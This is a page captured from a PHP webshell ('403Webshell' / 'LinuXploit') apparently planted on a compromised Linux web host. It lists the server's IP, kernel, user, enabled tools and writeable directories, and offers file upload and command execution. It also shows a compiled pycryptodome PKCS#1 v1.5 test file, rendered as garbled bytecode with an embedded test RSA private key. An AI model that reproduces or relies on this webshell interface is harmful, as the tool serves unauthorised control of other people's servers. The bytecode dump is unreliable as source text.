403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/Cryptodome/SelfTest/Cipher/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/Cryptodome/SelfTest/Cipher/__pycache__/test_pkcs1_15.cpython-311.pyc
�

8�tc�*���ddlmZddlZddlmZddlmZmZddlm	Z	ddl
mZddl
mZddlmZmZdd	lmZd
�Zd�ZGd�d
ej��ZGd�dej��Zifd�Zedkrd�Zejd���dSdS)�)�print_functionN)�RSA)�list_test_cases�a2b_hex)�Random)�
PKCS1_v1_5)�b)�
bytes_to_long�
long_to_bytes��load_test_vectors_wycheproofc�<�dD]}|�|d��}�|S)z6Remove white spaces, tabs, and new lines from a string)�
�	� �)�replace)�t�cs  �J/usr/lib/python3/dist-packages/Cryptodome/SelfTest/Cipher/test_pkcs1_15.py�rwsr$s+��
����
�I�I�a�������H�c��tt|����}t|��dzdkrtd���t	|��S)z=Convert a text string with bytes in hex form to a byte string��z"Even number of characters expected)r	r�len�
ValueErrorr)r�cleans  r�t2br+sC��
�c�!�f�f�I�I�E�
�5�z�z�A�~�����=�>�>�>��5�>�>�rc�N�eZdZd�ZdZd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
dS)
�PKCS1_15_Testsc�~�tj��j|_t	jd|j��|_dS)Ni)r�new�read�rngr�generate�key1024��selfs r�setUpzPKCS1_15_Tests.setUp5s+��!�:�<�<�,���"�|�D�$�(�;�;����r))av-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDAiAnvIAOvqVwJTaYzsKnefZftgtXGE2hPJppGsWl78yz9jeXY
W/FxX/gTPURArNhdnhP6n3p2ZaDIBrO2zizbgIXs0IsljTTcr4vnI8fMXzyNUOjA
zP3nzMqZDZK6757XQAobOssMkBFqRWwilT/3DsBhRpl3iMUhF+wvpTSHewIDAQAB
AoGAC4HV/inOrpgTvSab8Wj0riyZgQOZ3U3ZpSlsfR8ra9Ib9Uee3jCYnKscu6Gk
y6zI/cdt8EPJ4PuwAWSNJzbpbVaDvUq25OD+CX8/uRT08yBS4J8TzBitZJTD4lS7
atdTnKT0Wmwk+u8tDbhvMKwnUHdJLcuIsycts9rwJVapUtkCQQDvDpx2JMun0YKG
uUttjmL8oJ3U0m3ZvMdVwBecA0eebZb1l2J5PvI3EJD97eKe91Nsw8T3lwpoN40k
IocSVDklAkEAzi1HLHE6EzVPOe5+Y0kGvrIYRRhncOb72vCvBZvD6wLZpQgqo6c4
d3XHFBBQWA6xcvQb5w+VVEJZzw64y25sHwJBAMYReRl6SzL0qA0wIYrYWrOt8JeQ
8mthulcWHXmqTgC6FEXP9Es5GD7/fuKl4wqLKZgIbH4nqvvGay7xXLCXD/ECQH9a
1JYNMtRen5unSAbIOxRcKkWz92F0LKpm9ZW/S9vFHO+mBcClMGoKJHiuQxLBsLbT
NtEZfSJZAeS2sUtn3/0CQDb2M2zNBTF8LlM0nxmh0k9VGm5TVIyBEMcipmvOgqIs
HKukWBcq9f/UOmS0oEhai/6g+Uf7VHJdWaeO5LzuvwU=
-----END RSA PRIVATE KEY-----zTHIS IS PLAINTEXT
a�3f dc fd 3c cd 5c 9b 12  af 65 32 e3 f7 d0 da 36
                8f 8f d9 e3 13 1c 7f c8  b3 f9 c1 08 e4 eb 79 9c
                91 89 1f 96 3b 94 77 61  99 a4 b1 ee 5d e6 17 c9
                5d 0a b5 63 52 0a eb 00  45 38 2a fb b0 71 3d 11
                f7 a1 9e a7 69 b3 af 61  c0 bb 04 5b 5d 4b 27 44
                1f 5b 97 89 ba 6a 08 95  ee 4f a2 eb 56 64 e5 0f
                da 7c f9 9a 61 61 06 62  ed a0 bc 5f aa 6c 31 78
                70 28 1a bb 98 3c e3 6a  60 3c d1 0b 0f 5a f4 75a�eb d7 7d 86 a4 35 23 a3 54 7e 02 0b 42 1d
                61 6c af 67 b8 4e 17 56 80 66 36 04 64 34 26 8a
                47 dd 44 b3 1a b2 17 60 f4 91 2e e2 b5 95 64 cc
                f9 da c8 70 94 54 86 4c ef 5b 08 7d 18 c4 ab 8d
                04 06 33 8f ca 15 5f 52 60 8a a1 0c f5 08 b5 4c
                bb 99 b8 94 25 04 9c e6 01 75 e6 f9 63 7a 65 61
                13 8a a7 47 77 81 ae 0d b8 2c 4d 50 a5c
�n�|jD]�}tj|d��}Gd�d��}tj||t|d�������}|�t|d����}|�|t|d������dS)Nrc��eZdZd�Zd�ZdS)�,PKCS1_15_Tests.testEncrypt1.<locals>.randGenc�"�||_d|_dS)Nr��data�idx)r)r0s  r�__init__z5PKCS1_15_Tests.testEncrypt1.<locals>.randGen.__init__ss��,0��	�+,����rc�^�|j|j|j|z�}|xj|z
c_|S�Nr/)r)�N�rs   r�__call__z5PKCS1_15_Tests.testEncrypt1.<locals>.randGen.__call__vs/��$(�I�d�h�t�x��z�.A�$B�� $���A�
���'(�rN)�__name__�
__module__�__qualname__r2r7�rr�randGenr-rs2������-�-�-�)�)�)�)�)rr<�)�randfuncrr)	�	_testDatar�	importKey�PKCSr#r�encryptr	�assertEqual)r)�test�keyr<�cipher�cts      r�testEncrypt1zPKCS1_15_Tests.testEncrypt1ls��� �N�;�;�D�!�m�D��G�4�4��)�)�)�)�)�)�)�)�"&��#����D��G���8M�8M�!N�!N�!N��#�^�^�A�d�1�g�J�J�7�7���(�(��S��a��\�\�:�:�:�:�!;�;rc�~�d}tj|j��}|�t|j|��dS)Nzv)rAr#r'�assertRaisesrrB)r)�ptrFs   r�testEncrypt2zPKCS1_15_Tests.testEncrypt2s8��&����$�,�/�/���!�!�*�f�n�b�A�A�A�A�Arc��|jD]�}tj|d��}t|d��}t	|d��}tj|��}|�|d��}|�||��|�|dt|��z��}|�||����dS)Nrrr��)
r?rr@r	rrAr#�decryptrCr)r)rDrE�expected_ptrGrFrKs       r�testVerify1zPKCS1_15_Tests.testVerify1�s�����
2�
2���m�D��G�,�,����Q��j�j����a��\�\����#�����^�^�B��-�-��� � ��[�1�1�1��^�^�B��#�k�2B�2B�(B�C�C��� � ��[�1�1�1�1�
2�
2rc��tj|j��}|�t|jdd��|�t|jdd��t
d��}t|��}|j�|��}t|d��}|�
d|�|d����dS)Nzz---z�u�ÿÿÿÿÿÿÿEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE�s---)rAr#r'rJrrOr	r
�_encryptrrC)r)rFrK�pt_int�ct_intrGs      r�testVerify2zPKCS1_15_Tests.testVerify2�s����X�d�l�+�+�F����j�&�.�*�e�L�L�L����j�&�.�*�e�L�L�L��>�?�?�B�"�2�&�&�F��\�*�*�6�2�2�F��v�s�+�+�B����V�V�^�^�B��%?�%?�@�@�@�@�@rc��tdd��D]t}|�|��}tj|j��}|�|��}|�|d|z��}|�||���udS)Nr�v��)�ranger%rAr#r'rBrOrC)r)�pt_lenrKrFrG�pt2s      r�testEncryptVerify1z!PKCS1_15_Tests.testEncryptVerify1�s��� ��<�0�0�
*�
*���X�X�f�%�%����$�,�/�/���^�^�B�'�'���n�n�R��6�)9�:�:��� � ��S�)�)�)�)�
*�
*rc�x�tj|j��}d}|�|��}d}|�||d��}|�||��|�||d��}|�||��|�||d��}|�||��dS)Ns5555555555555555s�������������������)rAr#r'rBrOrC)r)rFrKrG�sentinel�pt_A�pt_B�pt_Cs        r�test_encrypt_verify_exp_pt_lenz-PKCS1_15_Tests.test_encrypt_verify_exp_pt_len�s����X�d�l�+�+�F��B�����#�#�B�#�H��>�>�"�h��3�3�D����R��&�&�&��>�>�"�h��3�3�D����X�t�,�,�,��>�>�"�h��3�3�D����X�t�,�,�,�,�,rc��d}tj|j��}|�t	|����}|�t	|��dt
|��z��}|�||��dS)N�XER�ÿ)rAr#r'rB�	bytearrayrOrrC�r)rKrFrGr]s     r�
testByteArrayzPKCS1_15_Tests.testByteArray�so���B��X�d�l�+�+�F����	�"�
�
�.�.�B��.�.��2�����R���0@�A�A�C����R��%�%�%�%�%rc�F�d}tj|j��}|�t	t|������}|�t	t|����dt|��z��}|�||��dS)NrirN)	rAr#r'rB�
memoryviewrkrOrrCrls     r�testMemoryviewzPKCS1_15_Tests.testMemoryview�s���B��X�d�l�+�+�F����
�9�R�=�=� 9� 9�:�:�B��.�.��I�b�M�M�!:�!:�G�c�"�g�g�<M�N�N�C����R��%�%�%�%�%rc�2�d}tj|j��}|�|��}|�t|t����|�|d��}|�t|t����dS)NsXYZs���)rAr#r'rB�
assertTrue�
isinstance�bytesrOrls     r�test_return_typezPKCS1_15_Tests.test_return_type�sz���B��X�d�l�+�+�F�����#�#�B��O�O�J�r�5�1�1�2�2�2��.�.��[�1�1�C��O�O�J�s�E�2�2�3�3�3�3�3rN)r8r9r:r*r?rHrLrQrWr^rgrmrprur;rrr!r!3s�������	<�	<�	<�*
�	�X	;�	;�	;�&	B�	B�	B�	2�	2�	2�
	A�
	A�
	A�	*�	*�	*�	-�	-�	-� 	&�	&�	&�	&�	&�	&�	4�	4�	4�	4�	4rr!c�8�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	dS)	�TestVectorsWycheproofc�n�tj�|��||_||_d|_dS)N�None)�unittest�TestCaser2�_wycheproof_warnings�_skip_slow_tests�_id)r)�wycheproof_warnings�skip_slow_testss   rr2zTestVectorsWycheproof.__init__�s4����"�"�4�(�(�(�$7��!� /�������rc�<�d�}td|d|zd|i���}|S)Nc�6�tj|d��S)N�
privateKeyPem)r�
import_key)�groups r�
filter_rsaz4TestVectorsWycheproof.load_tests.<locals>.filter_rsa�s���>�%��"8�9�9�9r)�Cipher�
wycheproofzWycheproof PKCS#1v1.5 (%s)�rsa_key)�	group_tagr)r)�filenamer��results    r�
load_testsz TestVectorsWycheproof.load_tests�sD��	:�	:�	:�.�.F�.6�.J�X�.U�9B�J�8O�0�0�0��
�
rc�4�g|_|j�|�d����|js\|j�|�d����|j�|�d����dSdS)Nzrsa_pkcs1_2048_test.jsonzrsa_pkcs1_3072_test.jsonzrsa_pkcs1_4096_test.json)�tv�extendr�r}r(s rr*zTestVectorsWycheproof.setUp�s����������t���'A�B�B�C�C�C��$�	H��G�N�N�4�?�?�+E�F�F�G�G�G��G�N�N�4�?�?�+E�F�F�G�G�G�G�G�	H�	Hrc��|jSr4)r~r(s r�shortDescriptionz&TestVectorsWycheproof.shortDescription�s	���x�rc�~�|jr3|jr.ddl}|�d|j�d|j�d���dSdSdS)NrzWycheproof warning: z (�))�warningr|�warnings�warnr~�comment)r)r�r�s   rr�zTestVectorsWycheproof.warn�sd��
�:�	R�$�3�	R��O�O�O��M�M�M�4�8�8�8�R�Z�Z�Z�P�Q�Q�Q�Q�Q�	R�	R�	R�	Rrc��d|jz|_dtdt|j����z}tj|j��}	|�|j	|���}||kr|j
rJ�dS|j
sJ�|�||j��|�|��dS#t$r
|j
rJ�YdSwxYw)Nz&Wycheproof Decrypt PKCS#1v1.5 Test #%srZr=)rc)�idr~�maxr�msgrAr#r�rOrG�validrCr�r)r)r�rcrFrKs     r�test_decryptz"TestVectorsWycheproof.test_decrypt�s���;�b�e�C����S��C���K�K�0�0�0����"�*�%�%��
	��������9�9�B��X�~�~��8�#�#�#�#�#��x����� � ��R�V�,�,�,��	�	�"�
�
�
�
�
���	 �	 �	 ��x�������	 ���s�B7�7C�
Cc�D�|jD]}|�|���dSr4)r�r�)r)r�s  r�runTestzTestVectorsWycheproof.runTests4���'�	"�	"�B����b�!�!�!�!�	"�	"rN)
r8r9r:r2r�r*r�r�r�r�r;rrrwrw�s����������
�
�
�H�H�H����R�R�R�
��� "�"�"�"�"rrwc��|�d��}|�d��}g}|tt��z
}|t||��gz
}|S)N�
slow_testsr)�getrr!rw)�configr�r�testss    r�	get_testsr�s^�� �*�*�\�2�2�2�O� �*�*�%:�;�;���E�	�_�^�
,�
,�,�E�	�#�$7��I�I�
J�J�E��Lr�__main__c�B�tjt����Sr4)rz�	TestSuiter�r;rr�suiter�s���!�)�+�+�.�.�.rr�)�defaultTest)�
__future__rrz�Cryptodome.PublicKeyr�Cryptodome.SelfTest.st_commonrr�
Cryptodomer�Cryptodome.CipherrrA�Cryptodome.Util.py3compatr	�Cryptodome.Util.numberr
r�Cryptodome.SelfTest.loaderr
rrr{r!rwr�r8r��mainr;rr�<module>r�s���.&�%�%�%�%�%�����$�$�$�$�$�$�B�B�B�B�B�B�B�B�������0�0�0�0�0�0�'�'�'�'�'�'�?�?�?�?�?�?�?�?�C�C�C�C�C�C�
�
�
����]4�]4�]4�]4�]4�X�&�]4�]4�]4�@6"�6"�6"�6"�6"�H�-�6"�6"�6"�r������z���/�/�/��H�M�g�&�&�&�&�&�&��r

Youez - 2016 - github.com/yon3zu
LinuXploit